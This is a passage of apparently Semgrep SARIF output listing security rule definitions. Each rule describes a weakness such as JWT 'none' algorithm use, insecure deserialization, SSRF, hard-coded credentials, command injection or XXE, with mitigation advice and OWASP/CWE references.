CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jose.security.jwt-none-alg.jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/javascript.jose.security.jwt-none-alg.jwt-none-alg","id":"javascript.jose.security.jwt-none-alg.jwt-none-alg","name":"javascript.jose.security.jwt-none-alg.jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jose.security.jwt-none-alg.jwt-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask","id":"python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask","name":"python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3","id":"python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3","name":"python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jjwt.security.jwt-none-alg.jjwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/java.jjwt.security.jwt-none-alg.jjwt-none-alg","id":"java.jjwt.security.jwt-none-alg.jjwt-none-alg","name":"java.jjwt.security.jwt-none-alg.jjwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.jjwt.security.jwt-none-alg.jjwt-none-alg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password)\n - [https://docs.diesel.rs/master/diesel/index.html](https://docs.diesel.rs/master/diesel/index.html)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password","id":"rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password","name":"rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default routes are enabled in this routes file. This means any public method on a controller can be called as an action. It is very easy to accidentally expose a method you didn't mean to. Instead, remove this line and explicitly include all routes you intend external users to follow."},"help":{"markdown":"Default routes are enabled in this routes file. This means any public method on a controller can be called as an action. It is very easy to accidentally expose a method you didn't mean to. Instead, remove this line and explicitly include all routes you intend external users to follow.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/default_routes/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/default_routes/index.markdown)\n","text":"Default routes are enabled in this routes file. This means any public method on a controller can be called as an action. It is very easy to accidentally expose a method you didn't mean to. Instead, remove this line and explicitly include all routes you intend external users to follow."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes","id":"ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes","name":"ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes","properties":{"precision":"very-high","tags":["CWE-276: Incorrect Default Permissions","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possibility of prototype polluting function detected. By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf). Possible mitigations might be: freezing the object prototype, using an object without prototypes (via Object.create(null) ), blocking modifications of attributes that resolve to object prototype, using Map instead of object."},"help":{"markdown":"Possibility of prototype polluting function detected. By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf). Possible mitigations might be: freezing the object prototype, using an object without prototypes (via Object.create(null) ), blocking modifications of attributes that resolve to object prototype, using Map instead of object.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop)\n - [https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n","text":"Possibility of prototype polluting function detected. By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf). Possible mitigations might be: freezing the object prototype, using an object without prototypes (via Object.create(null) ), blocking modifications of attributes that resolve to object prototype, using Map instead of object."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop","id":"javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop","name":"javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret","id":"ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret","name":"ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for unsafe use of Object#send, try, __send__, and public_send. These only account for unsafe use of a method, not target. This can lead to arbitrary calling of exit, along with arbitrary code execution. Please be sure to sanitize input in order to avoid this."},"help":{"markdown":"Checks for unsafe use of Object#send, try, __send__, and public_send. These only account for unsafe use of a method, not target. This can lead to arbitrary calling of exit, along with arbitrary code execution. Please be sure to sanitize input in order to avoid this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.no-send.bad-send)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_send.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_send.rb)\n - [https://the.igreque.info/posts/2016/01-object-send-considered-harmful-en.html](https://the.igreque.info/posts/2016/01-object-send-considered-harmful-en.html)\n","text":"Checks for unsafe use of Object#send, try, __send__, and public_send. These only account for unsafe use of a method, not target. This can lead to arbitrary calling of exit, along with arbitrary code execution. Please be sure to sanitize input in order to avoid this."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.no-send.bad-send","id":"ruby.lang.security.no-send.bad-send","name":"ruby.lang.security.no-send.bad-send","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.no-send.bad-send"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"help":{"markdown":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-expat.security.audit.expat-xxe.expat-xxe)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.node-expat.security.audit.expat-xxe.expat-xxe","id":"javascript.node-expat.security.audit.expat-xxe.expat-xxe","name":"javascript.node-expat.security.audit.expat-xxe.expat-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-expat.security.audit.expat-xxe.expat-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"SSLv3 is insecure because it has known vulnerabilities. Starting with go1.14, SSLv3 will be removed. Instead, use 'tls.VersionTLS13'."},"help":{"markdown":"SSLv3 is insecure because it has known vulnerabilities. Starting with go1.14, SSLv3 will be removed. Instead, use 'tls.VersionTLS13'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure)\n - [https://golang.org/doc/go1.14#crypto/tls](https://golang.org/doc/go1.14#crypto/tls)\n - [https://www.us-cert.gov/ncas/alerts/TA14-290A](https://www.us-cert.gov/ncas/alerts/TA14-290A)\n","text":"SSLv3 is insecure because it has known vulnerabilities. Starting with go1.14, SSLv3 will be removed. Instead, use 'tls.VersionTLS13'."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure","id":"go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure","name":"go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an element with disabled HTML escaping. If external data can reach this, this is a cross-site scripting (XSS) vulnerability. Ensure no external data can reach here, or remove 'escape=false' from this element."},"help":{"markdown":"Detected an element with disabled HTML escaping. If external data can reach this, this is a cross-site scripting (XSS) vulnerability. Ensure no external data can reach here, or remove 'escape=false' from this element.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled)\n - [https://stackoverflow.com/a/7442668](https://stackoverflow.com/a/7442668)\n","text":"Detected an element with disabled HTML escaping. If external data can reach this, this is a cross-site scripting (XSS) vulnerability. Ensure no external data can reach here, or remove 'escape=false' from this element."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled","id":"java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled","name":"java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled","properties":{"precision":"very-high","tags":["CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences","LOW CONFIDENCE","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens."},"help":{"markdown":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials)\n - [https://cwe.mitre.org/data/definitions/522.html](https://cwe.mitre.org/data/definitions/522.html)\n","text":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens."},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials","id":"ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials","name":"ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri","id":"ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri","name":"ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array","id":"python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array","name":"python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Bucket $X is not set to enforce encryption-in-transit, if not explictly setting this on the bucket policy - the property \"enforceSSL\" should be set to true"},"help":{"markdown":"Bucket $X is not set to enforce encryption-in-transit, if not explictly setting this on the bucket policy - the property \"enforceSSL\" should be set to true\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html)\n","text":"Bucket $X is not set to enforce encryption-in-transit, if not explictly setting this on the bucket policy - the property \"enforceSSL\" should be set to true"},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl","id":"typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl","name":"typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib","id":"python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib","name":"python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insecure redirect in this nginx configuration. If no scheme is specified, nginx will forward the request with the incoming scheme. This could result in unencrypted communications. To fix this, include the 'https' scheme."},"help":{"markdown":"Detected an insecure redirect in this nginx configuration. If no scheme is specified, nginx will forward the request with the incoming scheme. This could result in unencrypted communications. To fix this, include the 'https' scheme.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.insecure-redirect.insecure-redirect)\n - 